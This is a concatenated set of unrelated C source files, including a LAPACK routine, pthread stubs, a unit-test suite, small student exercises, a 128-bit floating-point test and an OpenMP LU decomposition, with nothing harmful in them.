/* > The increment between successive elements of Y. INCY > 0. */
/* > \endverbatim */
/* > */
/* > \param[out] SSMIN */
/* > \verbatim */
/* > SSMIN is DOUBLE PRECISION */
/* > The smallest singular value of the N-by-2 matrix A = ( X Y ). */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup complex16OTHERauxiliary */
/* ===================================================================== */
/* Subroutine */ int zlapll_(integer *n, doublecomplex *x, integer *incx,
doublecomplex *y, integer *incy, doublereal *ssmin)
{
/* System generated locals */
integer i__1;
doublereal d__1, d__2, d__3;
doublecomplex z__1, z__2, z__3, z__4;
/* Local variables */
extern /* Subroutine */ int dlas2_(doublereal *, doublereal *, doublereal
*, doublereal *, doublereal *);
doublecomplex c__;
extern /* Double Complex */ VOID zdotc_(doublecomplex *, integer *,
doublecomplex *, integer *, doublecomplex *, integer *);
doublereal ssmax;
extern /* Subroutine */ int zaxpy_(integer *, doublecomplex *,
doublecomplex *, integer *, doublecomplex *, integer *);
doublecomplex a11, a12, a22;
extern /* Subroutine */ int zlarfg_(integer *, doublecomplex *,
doublecomplex *, integer *, doublecomplex *);
doublecomplex tau;
/* -- LAPACK auxiliary routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Quick return if possible */
/* Parameter adjustments */
--y;
--x;
/* Function Body */
if (*n <= 1) {
*ssmin = 0.;
return 0;
}
/* Compute the QR factorization of the N-by-2 matrix ( X Y ) */
zlarfg_(n, &x[1], &x[*incx + 1], incx, &tau);
a11.r = x[1].r, a11.i = x[1].i;
x[1].r = 1., x[1].i = 0.;
d_cnjg(&z__3, &tau);
z__2.r = -z__3.r, z__2.i = -z__3.i;
zdotc_(&z__4, n, &x[1], incx, &y[1], incy);
z__1.r = z__2.r * z__4.r - z__2.i * z__4.i, z__1.i = z__2.r * z__4.i +
z__2.i * z__4.r;
c__.r = z__1.r, c__.i = z__1.i;
zaxpy_(n, &c__, &x[1], incx, &y[1], incy);
i__1 = *n - 1;
zlarfg_(&i__1, &y[*incy + 1], &y[(*incy << 1) + 1], incy, &tau);
a12.r = y[1].r, a12.i = y[1].i;
i__1 = *incy + 1;
a22.r = y[i__1].r, a22.i = y[i__1].i;
/* Compute the SVD of 2-by-2 Upper triangular matrix. */
d__1 = z_abs(&a11);
d__2 = z_abs(&a12);
d__3 = z_abs(&a22);
dlas2_(&d__1, &d__2, &d__3, ssmin, &ssmax);
return 0;
/* End of ZLAPLL */
} /* zlapll_ */
|
the_stack_data/176705677.c
|
/* $Id$ */
/* Copyright (c) 2008-2013 Pierre Pronchery <[email protected]> */
/* This file is part of DeforaOS System libc */
/* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */
#include "sys/types.h" /* FIXME should not be needed? */
#include "errno.h"
#include "pthread.h"
/* pthread_attr_destroy */
int pthread_attr_destroy(pthread_attr_t * attr)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_attr_getdetachstate */
int pthread_attr_getdetachstate(const pthread_attr_t * attr, int * state)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_attr_getstacksize */
int pthread_attr_getstacksize(const pthread_attr_t * attr, size_t * stacksize)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_attr_init */
int pthread_attr_init(pthread_attr_t * attr)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_attr_setdetachstate */
int pthread_attr_setdetachstate(pthread_attr_t * attr, int state)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_attr_setstacksize */
int pthread_attr_setstacksize(pthread_attr_t * attr, size_t stacksize)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_cancel */
int pthread_cancel(pthread_t thread)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_cond_broadcast */
int pthread_cond_broadcast(pthread_cond_t * cond)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_cond_destroy */
int pthread_cond_destroy(pthread_cond_t * cond)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_cond_init */
int pthread_cond_init(pthread_cond_t * cond, const pthread_condattr_t * attr)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_cond_signal */
int pthread_cond_signal(pthread_cond_t * cond)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_cond_timedwait */
int pthread_cond_timedwait(pthread_cond_t * cond,
pthread_mutex_t * mutex, const struct timespec * ts)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_cond_wait */
int pthread_cond_wait(pthread_cond_t * cond, pthread_mutex_t * mutex)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_create */
int pthread_create(pthread_t * thread, const pthread_attr_t * attr,
void *(*start)(void *), void * arg)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_exit */
void pthread_exit(void * value)
{
/* FIXME implement */
}
/* pthread_join */
int pthread_join(pthread_t thread, void ** value)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_mutex_destroy */
int pthread_mutex_destroy(pthread_mutex_t * mutex)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_mutex_init */
int pthread_mutex_init(pthread_mutex_t * mutex,
const pthread_mutexattr_t * attr)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_mutex_lock */
int pthread_mutex_lock(pthread_mutex_t * mutex)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_mutex_trylock */
int pthread_mutex_trylock(pthread_mutex_t * mutex)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_mutex_unlock */
int pthread_mutex_unlock(pthread_mutex_t * mutex)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
/* pthread_self */
pthread_t pthread_self(void)
{
/* FIXME implement */
errno = ENOSYS;
return -1;
}
|
the_stack_data/92009.c
|
/*
* test_issue14.c
*
* Created on: Sep 28, 2017
* Author: koldar
*/
#ifdef TEST_0014
#include "crashc.h"
#include "test_checker.h"
#include <assert.h>
TESTS_START
REG_SUITE(1);
REG_SUITE(2);
REG_SUITE(3);
REG_SUITE(4);
TESTS_END
TESTSUITE(1) {
clear_test_checker();
TESTCASE("testcase1", "") {
add_char('a');
WHEN("test", "") {
add_char('b');
WHEN("inner when", "") {add_char('c');}
add_char('d');
WHEN("inner when 2", "") {add_char('e');}
add_char('f');
THEN("inner then", "") {add_char('g');}
add_char('h');
}
add_char('i');
THEN("test", "") {add_char('j');}
add_char('k');
WHEN("test2", "") {add_char('l');}
add_char('m');
THEN("test2", "") {add_char('n');}
add_char('o');
add_char(' ');
}
assert_and_reset_test_checker("abcdfghijkmno abdefghijkmno aijklmno ");
}
TESTSUITE(2) {
clear_test_checker();
TESTCASE("1", "") {
add_char('a');
}
assert_and_reset_test_checker("a");
}
TESTSUITE(3) {
clear_test_checker();
TESTCASE("1", "") {
add_char('a');
WHEN("2", "") {
add_char('b');
}
add_char('c');
}
assert_and_reset_test_checker("abc");
}
TESTSUITE(4) {
clear_test_checker();
TESTCASE("1", "") {
add_char('a');
THEN("2", "") {
add_char('b');
}
add_char('c');
}
assert_and_reset_test_checker("abc");
}
#endif
|
the_stack_data/54181.c
|
#include <stdio.h>
int main()
{
int i,sum=0,n=9;
for (i=1;i<=n;++i)
{
sum+=i;
}
printf("sum of numbers from 1 to %d is %d \n",n,sum);
return 0;
}
|
the_stack_data/12637539.c
|
#include <stdio.h>
#define WYNAGRODZENIE 40
#define PODATEK15 0.15
#define PODATEK20 0.20
#define PODATEK25 0.25
int main(void)
{
int godziny, suma;
int pom;
float podatek;
printf("Podaj ilosc przepracowanych godzin w tygodniu: ");
scanf("%d", &godziny);
if (godziny > 40)
{
suma = 40 * WYNAGRODZENIE;
godziny -= 40;
suma += godziny * WYNAGRODZENIE * 1.5;
}
else suma = godziny * WYNAGRODZENIE;
if (suma > 0 && suma <= 1200)
podatek = suma * PODATEK15;
else if (suma > 1200 && suma <= 1800)
{
pom = suma;
podatek = 1200 * PODATEK15;
suma -= 1200;
podatek += 600 * PODATEK20;
}
else if (suma > 1800)
{
pom = suma;
podatek = 1200 * PODATEK15;
suma -= 1200;
podatek += 600 * PODATEK20;
suma -= 600;
podatek += suma * PODATEK25;
}
printf("Wynagrodzenie brutto: %d\nPodatek: %.2f\nWynagrodzenie netto: %.2f\n", pom, podatek, pom - podatek);
return 0;
}
|
the_stack_data/232151.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* treelogi.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jsanfeli <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/08/15 23:02:22 by jsanfeli #+# #+# */
/* Updated: 2021/08/15 23:41:18 by jsanfeli ### ########.fr */
/* */
/* ************************************************************************** */
/* ******************************* LIBRERIAS ******************************** */
/* ******************************* PROTOTIPOS ******************************* */
void emptyfillblockrepeat(int *matrix);
/* ******************************* FUNCIONES ******************************** */
void blockthree(int *matrix)
{
int i;
int j;
i = 0;
while (i < 6)
{
j = 0;
while (j < 6)
{
if (*(matrix + j + (i * 6)) == 3)
{
if (j == 0)
*(matrix + j + 1 + (i * 6)) = -3;
else if (j == 5)
*(matrix + j - 1 + (i * 6)) = -3;
else if (i == 0)
*(matrix + j + ((i + 1) * 6)) = -3;
else if (i == 5)
*(matrix + j + ((i - 1) * 6)) = -3;
}
j++;
}
i++;
}
emptyfillblockrepeat(matrix);
}
int blockthreerowcol(int *matrix, int mult)
{
int i;
int cont;
i = 1;
cont = 0;
while (i <= 4)
{
if (*(matrix + (i * mult)) == 3)
{
i = 0;
while (i++ < 4)
{
if (*(matrix + (i * mult)) == 0)
{
*(matrix + (i * mult)) = -3;
cont++;
}
}
}
i++;
}
return (cont);
}
void fillthree(int *matrix, int mult)
{
int i;
int j;
i = 1;
j = 0;
while (i <= 4)
{
j += *(matrix + (i * mult));
i++;
}
i = 1;
while (*(matrix + (i * mult)) != 0)
i++;
if ((j == -2) || (j == -3) || (j == -4) || (j == -5))
*(matrix + (i * mult)) = 3;
}
int emptythree(int *matrix, int mult)
{
int i;
int j;
i = 1;
j = 4;
while (i <= 4)
{
if (*(matrix + (i * mult)) != 0)
j--;
i++;
}
if (j == 1)
{
fillthree(matrix, mult);
return (1);
}
return (0);
}
void blockallthree(int *matrix)
{
int i;
int count;
count = 0;
i = 0;
blockthree(matrix);
while (++i <= 4)
count += blockthreerowcol(matrix + (i * 6), 1);
i = 0;
while (++i <= 4)
count += blockthreerowcol(matrix + i, 6);
if (count > 0)
blockallthree(matrix);
i = 0;
blockthree(matrix);
while (++i <= 4)
emptythree(matrix + (i * 6), 1);
i = 0;
while (++i <= 4)
emptythree(matrix + i, 6);
}
|
the_stack_data/153426.c
|
#include <stdarg.h>
#include <stdio.h>
int sum(int n, ...) {
int value = 0, i;
va_list args;
va_start(args, n);
for (i = 0; i < n; ++i)
value += va_arg(args, int);
va_end(args);
return value;
}
struct car {
char a, b, c;
};
int foo(int n, ...) {
struct car c;
va_list args;
va_start(args, n);
c = va_arg(args, struct car);
n = c.a + c.b + c.c;
va_end(args);
return n;
}
int main(void) {
struct car c = {1, 2, 3};
printf("sum: %d\n", sum(7, 10, 8, 42, 1, 2, 3, 4));
printf("car: %d\n", foo(1, c));
return 0;
}
|
the_stack_data/3090.c
|
/*
* Test 128-bit floating-point arithmetic on arm64:
* build with two different compilers and compare the output.
*
* Copyright (c) 2015 Edmund Grimley Evans
*
* Copying and distribution of this file, with or without modification,
* are permitted in any medium without royalty provided the copyright
* notice and this notice are preserved. This file is offered as-is,
* without any warranty.
*/
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define check(x) ((x) ? (void)0 : check_fail(#x, __FILE__, __LINE__))
void check_fail(const char *assertion, const char *file, unsigned int line)
{
printf("%s:%d: Check (%s) failed.", file, line, assertion);
exit(1);
}
typedef struct {
unsigned long long x0, x1;
} u128_t;
float copy_fi(uint32_t x)
{
float f;
memcpy(&f, &x, 4);
return f;
}
double copy_di(uint64_t x)
{
double f;
memcpy(&f, &x, 8);
return f;
}
long double copy_ldi(u128_t x)
{
long double f;
memcpy(&f, &x, 16);
return f;
}
uint32_t copy_if(float f)
{
uint32_t x;
memcpy(&x, &f, 4);
return x;
}
uint64_t copy_id(double f)
{
uint64_t x;
memcpy(&x, &f, 8);
return x;
}
u128_t copy_ild(long double f)
{
u128_t x;
memcpy(&x, &f, 16);
return x;
}
long double make(int sgn, int exp, uint64_t high, uint64_t low)
{
u128_t x = { low,
(0x0000ffffffffffff & high) |
(0x7fff000000000000 & (uint64_t)exp << 48) |
(0x8000000000000000 & (uint64_t)sgn << 63) };
return copy_ldi(x);
}
void cmp(long double a, long double b)
{
u128_t ax = copy_ild(a);
u128_t bx = copy_ild(b);
int eq = (a == b);
int ne = (a != b);
int lt = (a < b);
int le = (a <= b);
int gt = (a > b);
int ge = (a >= b);
check(eq == 0 || eq == 1);
check(lt == 0 || lt == 1);
check(gt == 0 || gt == 1);
check(ne == !eq && le == (lt | eq) && ge == (gt | eq));
check(eq + lt + gt < 2);
printf("cmp %016llx%016llx %016llx%016llx %d %d %d\n",
ax.x1, ax.x0, bx.x1, bx.x0, lt, eq, gt);
}
void cmps(void)
{
int i, j;
for (i = 0; i < 2; i++)
for (j = 0; j < 2; j++)
cmp(make(i, 0, 0, 0), make(j, 0, 0, 0));
for (i = 0; i < 2; i++) {
for (j = 0; j < 64; j++) {
long double f1 = make(i, 32767, (uint64_t)1 << j, 0);
long double f2 = make(i, 32767, 0, (uint64_t)1 << j);
cmp(f1, 0);
cmp(f2, 0);
cmp(0, f1);
cmp(0, f2);
}
}
for (i = 0; i < 6; i++)
for (j = 0; j < 6; j++)
cmp(make(i & 1, i >> 1, 0, 0),
make(j & 1, j >> 1, 0, 0));
for (i = 0; i < 2; i++) {
for (j = 0; j < 2; j++) {
int a, b;
for (a = 0; a < 2; a++) {
for (b = 0; b < 2; b++) {
cmp(make(i, j, a, b), make(i, j, 0, 0));
cmp(make(i, j, 0, 0), make(i, j, a, b));
}
}
}
}
}
void xop(const char *name, long double a, long double b, long double c)
{
u128_t ax = copy_ild(a);
u128_t bx = copy_ild(b);
u128_t cx = copy_ild(c);
printf("%s %016llx%016llx %016llx%016llx %016llx%016llx\n",
name, ax.x1, ax.x0, bx.x1, bx.x0, cx.x1, cx.x0);
}
void fadd(long double a, long double b)
{
xop("add", a, b, a + b);
}
void fsub(long double a, long double b)
{
xop("sub", a, b, a - b);
}
void fmul(long double a, long double b)
{
xop("mul", a, b, a * b);
}
void fdiv(long double a, long double b)
{
xop("div", a, b, a / b);
}
void nanz(void)
{
// Check NaNs:
{
long double x[7];
int i, j, n = 0;
x[n++] = make(0, 32000, 0x95132b76effc, 0xd79035214b4f8d53);
x[n++] = make(1, 32001, 0xbe71d7a51587, 0x30601c6815d6c3ac);
x[n++] = make(0, 32767, 0, 1);
x[n++] = make(0, 32767, (uint64_t)1 << 46, 0);
x[n++] = make(1, 32767, (uint64_t)1 << 47, 0);
x[n++] = make(1, 32767, 0x7596c7099ad5, 0xe25fed2c58f73fc9);
x[n++] = make(0, 32767, 0x835d143360f9, 0x5e315efb35630666);
check(n == sizeof(x) / sizeof(*x));
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
fadd(x[i], x[j]);
fsub(x[i], x[j]);
fmul(x[i], x[j]);
fdiv(x[i], x[j]);
}
}
}
// Check infinities and zeroes:
{
long double x[6];
int i, j, n = 0;
x[n++] = make(1, 32000, 0x62acda85f700, 0x47b6c9f35edc4044);
x[n++] = make(0, 32001, 0x94b7abf55af7, 0x9f425fe354428e19);
x[n++] = make(0, 32767, 0, 0);
x[n++] = make(1, 32767, 0, 0);
x[n++] = make(0, 0, 0, 0);
x[n++] = make(1, 0, 0, 0);
check(n == sizeof(x) / sizeof(*x));
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
fadd(x[i], x[j]);
fsub(x[i], x[j]);
fmul(x[i], x[j]);
fdiv(x[i], x[j]);
}
}
}
}
void adds(void)
{
// Check shifting and add/sub:
{
int i;
for (i = -130; i <= 130; i++) {
int s1 = (uint32_t)i % 3 < 1;
int s2 = (uint32_t)i % 5 < 2;
fadd(make(s1, 16384 , 0x502c065e4f71a65d, 0xd2f9bdb031f4f031),
make(s2, 16384 + i, 0xae267395a9bc1033, 0xb56b5800da1ba448));
}
}
// Check normalisation:
{
uint64_t a0 = 0xc6bab0a6afbef5ed;
uint64_t a1 = 0x4f84136c4a2e9b52;
int ee[] = { 0, 1, 10000 };
int e, i;
for (e = 0; e < sizeof(ee) / sizeof(*ee); e++) {
int exp = ee[e];
fsub(make(0, exp, a1, a0), make(0, 0, 0, 0));
for (i = 63; i >= 0; i--)
fsub(make(0, exp, a1 | (uint64_t)1 << i >> 1, a0),
make(0, exp, a1 >> i << i, 0));
for (i = 63; i >=0; i--)
fsub(make(0, exp, a1, a0 | (uint64_t)1 << i >> 1),
make(0, exp, a1, a0 >> i << i));
}
}
// Carry/overflow from rounding:
{
fadd(make(0, 114, -1, -1), make(0, 1, 0, 0));
fadd(make(0, 32766, -1, -1), make(0, 32653, 0, 0));
fsub(make(1, 32766, -1, -1), make(0, 32653, 0, 0));
}
}
void muls(void)
{
int i, j;
{
long double max = make(0, 32766, -1, -1);
long double min = make(0, 0, 0, 1);
fmul(max, max);
fmul(max, min);
fmul(min, min);
}
for (i = 117; i > 0; i--)
fmul(make(0, 16268, 0x643dcea76edc, 0xe0877a598403627a),
make(i & 1, i, 0, 0));
fmul(make(0, 16383, -1, -3), make(0, 16383, 0, 1));
// Round to next exponent:
fmul(make(0, 16383, -1, -2), make(0, 16383, 0, 1));
// Round from subnormal to normal:
fmul(make(0, 1, -1, -1), make(0, 16382, 0, 0));
for (i = 0; i < 2; i++)
for (j = 0; j < 112; j++)
fmul(make(0, 16383, (uint64_t)1 << i, 0),
make(0, 16383,
j < 64 ? 0 : (uint64_t)1 << (j - 64),
j < 64 ? (uint64_t)1 << j : 0));
}
void divs(void)
{
int i;
{
long double max = make(0, 32766, -1, -1);
long double min = make(0, 0, 0, 1);
fdiv(max, max);
fdiv(max, min);
fdiv(min, max);
fdiv(min, min);
}
for (i = 0; i < 64; i++)
fdiv(make(0, 16383, -1, -1), make(0, 16383, -1, -(uint64_t)1 << i));
for (i = 0; i < 48; i++)
fdiv(make(0, 16383, -1, -1), make(0, 16383, -(uint64_t)1 << i, 0));
}
void cvtlsw(int32_t a)
{
long double f = a;
u128_t x = copy_ild(f);
printf("cvtlsw %08lx %016llx%016llx\n", (long)(uint32_t)a, x.x1, x.x0);
}
void cvtlsx(int64_t a)
{
long double f = a;
u128_t x = copy_ild(f);
printf("cvtlsx %016llx %016llx%016llx\n",
(long long)(uint64_t)a, x.x1, x.x0);
}
void cvtluw(uint32_t a)
{
long double f = a;
u128_t x = copy_ild(f);
printf("cvtluw %08lx %016llx%016llx\n", (long)a, x.x1, x.x0);
}
void cvtlux(uint64_t a)
{
long double f = a;
u128_t x = copy_ild(f);
printf("cvtlux %016llx %016llx%016llx\n", (long long)a, x.x1, x.x0);
}
void cvtil(long double a)
{
u128_t x = copy_ild(a);
int32_t b1 = a;
int64_t b2 = a;
uint32_t b3 = a;
uint64_t b4 = a;
printf("cvtswl %016llx%016llx %08lx\n",
x.x1, x.x0, (long)(uint32_t)b1);
printf("cvtsxl %016llx%016llx %016llx\n",
x.x1, x.x0, (long long)(uint64_t)b2);
printf("cvtuwl %016llx%016llx %08lx\n",
x.x1, x.x0, (long)b3);
printf("cvtuxl %016llx%016llx %016llx\n",
x.x1, x.x0, (long long)b4);
}
void cvtlf(float a)
{
uint32_t ax = copy_if(a);
long double b = a;
u128_t bx = copy_ild(b);
printf("cvtlf %08lx %016llx%016llx\n", (long)ax, bx.x1, bx.x0);
}
void cvtld(double a)
{
uint64_t ax = copy_id(a);
long double b = a;
u128_t bx = copy_ild(b);
printf("cvtld %016llx %016llx%016llx\n", (long long)ax, bx.x1, bx.x0);
}
void cvtfl(long double a)
{
u128_t ax = copy_ild(a);
float b = a;
uint32_t bx = copy_if(b);
printf("cvtfl %016llx%016llx %08lx\n", ax.x1, ax.x0, (long)bx);
}
void cvtdl(long double a)
{
u128_t ax = copy_ild(a);
double b = a;
uint64_t bx = copy_id(b);
printf("cvtdl %016llx%016llx %016llx\n", ax.x1, ax.x0, (long long)bx);
}
void cvts(void)
{
int i, j;
{
uint32_t x = 0xad040c5b;
cvtlsw(0);
for (i = 0; i < 31; i++)
cvtlsw(x >> (31 - i));
for (i = 0; i < 31; i++)
cvtlsw(-(x >> (31 - i)));
cvtlsw(0x80000000);
}
{
uint64_t x = 0xb630a248cad9afd2;
cvtlsx(0);
for (i = 0; i < 63; i++)
cvtlsx(x >> (63 - i));
for (i = 0; i < 63; i++)
cvtlsx(-(x >> (63 - i)));
cvtlsx(0x8000000000000000);
}
{
uint32_t x = 0xad040c5b;
cvtluw(0);
for (i = 0; i < 32; i++)
cvtluw(x >> (31 - i));
}
{
uint64_t x = 0xb630a248cad9afd2;
cvtlux(0);
for (i = 0; i < 64; i++)
cvtlux(x >> (63 - i));
}
for (i = 0; i < 2; i++) {
cvtil(make(i, 32767, 0, 1));
cvtil(make(i, 32767, (uint64_t)1 << 47, 0));
cvtil(make(i, 32767, 123, 456));
cvtil(make(i, 32767, 0, 0));
cvtil(make(i, 16382, -1, -1));
cvtil(make(i, 16383, -1, -1));
cvtil(make(i, 16384, 0x7fffffffffff, -1));
cvtil(make(i, 16384, 0x800000000000, 0));
for (j = 0; j < 68; j++)
cvtil(make(i, 16381 + j, 0xd4822c0a10ec, 0x1fe2f8b2669f5c9d));
}
cvtlf(copy_fi(0x00000000));
cvtlf(copy_fi(0x456789ab));
cvtlf(copy_fi(0x7f800000));
cvtlf(copy_fi(0x7f923456));
cvtlf(copy_fi(0x7fdbcdef));
cvtlf(copy_fi(0x80000000));
cvtlf(copy_fi(0xabcdef12));
cvtlf(copy_fi(0xff800000));
cvtlf(copy_fi(0xff923456));
cvtlf(copy_fi(0xffdbcdef));
cvtld(copy_di(0x0000000000000000));
cvtld(copy_di(0x456789abcdef0123));
cvtld(copy_di(0x7ff0000000000000));
cvtld(copy_di(0x7ff123456789abcd));
cvtld(copy_di(0x7ffabcdef1234567));
cvtld(copy_di(0x8000000000000000));
cvtld(copy_di(0xcdef123456789abc));
cvtld(copy_di(0xfff0000000000000));
cvtld(copy_di(0xfff123456789abcd));
cvtld(copy_di(0xfffabcdef1234567));
for (i = 0; i < 2; i++) { \
cvtfl(make(i, 0, 0, 0));
cvtfl(make(i, 16232, -1, -1));
cvtfl(make(i, 16233, 0, 0));
cvtfl(make(i, 16233, 0, 1));
cvtfl(make(i, 16383, 0xab0ffd000000, 0));
cvtfl(make(i, 16383, 0xab0ffd000001, 0));
cvtfl(make(i, 16383, 0xab0ffeffffff, 0));
cvtfl(make(i, 16383, 0xab0fff000000, 0));
cvtfl(make(i, 16383, 0xab0fff000001, 0));
cvtfl(make(i, 16510, 0xfffffeffffff, -1));
cvtfl(make(i, 16510, 0xffffff000000, 0));
cvtfl(make(i, 16511, 0, 0));
cvtfl(make(i, 32767, 0, 0));
cvtfl(make(i, 32767, 0, 1));
cvtfl(make(i, 32767, 0x4cbe01ac5f40, 0x75cee3c6afbb00b5));
cvtfl(make(i, 32767, 0x800000000000, 1));
cvtfl(make(i, 32767, 0xa11caaaf6a52, 0x696033e871eab099));
}
for (i = 0; i < 2; i++) {
cvtdl(make(i, 0, 0, 0));
cvtdl(make(i, 15307, -1, -1));
cvtdl(make(i, 15308, 0, 0));
cvtdl(make(i, 15308, 0, 1));
cvtdl(make(i, 16383, 0xabc123abc0ff, 0xe800000000000000));
cvtdl(make(i, 16383, 0xabc123abc0ff, 0xe800000000000001));
cvtdl(make(i, 16383, 0xabc123abc0ff, 0xf7ffffffffffffff));
cvtdl(make(i, 16383, 0xabc123abc0ff, 0xf800000000000000));
cvtdl(make(i, 16383, 0xabc123abc0ff, 0xf800000000000001));
cvtdl(make(i, 17406, 0xffffffffffff, 0xf7ffffffffffffff));
cvtdl(make(i, 17406, 0xffffffffffff, 0xf800000000000000));
cvtdl(make(i, 17407, 0, 0));
cvtdl(make(i, 32767, 0, 0));
cvtdl(make(i, 32767, 0, 1));
cvtdl(make(i, 32767, 0x4cbe01ac5f40, 0x75cee3c6afbb00b5));
cvtdl(make(i, 32767, 0x800000000000, 1));
cvtdl(make(i, 32767, 0xa11caaaf6a52, 0x696033e871eab099));
}
}
void tests(void)
{
cmps();
nanz();
adds();
muls();
divs();
cvts();
}
int main()
{
#ifdef __aarch64__
tests();
#else
printf("This test program is intended for a little-endian architecture\n"
"with an IEEE-standard 128-bit long double.\n");
#endif
return 0;
}
|
the_stack_data/54825747.c
|
#include <stdio.h>
int selectionsort(int A[],int size){ //ascending sort
int temp,min,i,j;
for(i=0;i<size-1;i++){
min=i;
for(j=i;j<size;j++){
if(A[j]<A[min]) min=j;
}
temp=A[i];
A[i]=A[min];
A[min]=temp;
}
return A;
}
void display(int A[],int size){
int i;
for(i=0;i<size;i++) printf("A[%d] = %d\t",i+1,A[i]);
}
int main(){
int i,j,size;
printf("the size of the array : ");
scanf("%d",&size);
int A[size];
printf("\n");
for(i=0;i<size;i++){
printf("elementary %d =",i+1);
scanf("%d",&A[i]);
printf("\n");
}
printf("Unsorted Array = ");
display(A,size);
printf("\n");
A[size]=selectionsort(A,size);
printf("Sorted Array = ");
display(A,size);
return 0;
}
|
the_stack_data/193892413.c
|
void LU_decomp(int const n, int const lda, double* const A) {
int i, j, k;
// Semaphores
char row_ready[n];
for (i = 0; i < n; i++)
row_ready[i] = 0;
row_ready[0] = 1;
// For all "iron" rows
#pragma omp parallel for private(j,k) schedule(dynamic,1)
for (i = 1; i < n; i++) {
double * const Ai = A + i*lda; // Pointer to row i
// For all "hammer" rows
for (k = 0; k < i; k++) {
double * const Ak = A + k*lda; // Pointer to row k
// Spin until "hammer" k is ready
while (! row_ready[k]) {
#pragma omp flush
}
// Compute the scaling factor (and the element of L)
Ai[k] /= Ak[k];
// Hit row "iron" row i with "hammer" row k
#pragma omp simd
for (j = k + 1; j < n; j++)
Ai[j] -= Ai[k]*Ak[j];
}
// Change semaphore for row i to "green"
row_ready[i] = 1;
}
}
|
the_stack_data/2318.c
|
#define thisprog "xe-plottable1"
#define TITLE_STRING thisprog" 13.December.2021 [JRH]"
#define MAXLINELEN 10000
#define MAXWORDLEN 256
#define MAXUSERLINES 256
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <float.h>
#include <ctype.h>
/*
<TAGS>plot</TAGS>
7.May.2022 [JRH]
- add -legendscale option to control legend point and font size relative to base font-size
14.April.2022 [JRH]
- add code to draw a coloured rectangle underneath any region of the plot (-rect r,g,b,x1,y1,x2,y2)
14.December.2021 [JRH]
- now also automatically optimises x-tic interval for plots where the x-axis is the group (-cg is the same as -cx)
13.December.2021 [JRH]
- now automatically optimises x-tic interval for plots with group-shifts applied to the data (uses smallest interval between x-values)
22.November.2021 [JRH]
- update boxwidth (-bw) option so 0=auto, and accounts for number of groups if groupshift (-gs) is invoked)
15.November.2021 [JRH]
- tweak to definition of y-axis offset (yaloff) and reduced legend-offset when legend is below plot
5.September.2021 [JRH]
- refine "stars" setting so program uses a column in the input, not a separate file, to define stars
28.March.2021 [JRH]
- finally put in a reliable (if complicated) system for achieving good axis & tic label offsets
27.March.2021 [JRH]
- add option to use a stars file to put "significance" stars (horizontal or vertical) over datapoints
- fixed handling of empty data
14.February.2021 [JRH]
- add option to use a .txt palette file
15.September.2020 [JRH]
- add option to reverse the order of the colour-palette
5.May.2020 [JRH] - major reworking of group-colour handlings
- no limit on number of colours for non-default palette
- if groups are all integers, for the default palette the value determines the colour
- if the goups include text, colour= order of appearance
- if the groups include non-integers, colour= rank of the value
- also updated how the legend is shown
- text is always black
- points are alsways shown, proportional to the size of the text
GENERAL NOTES
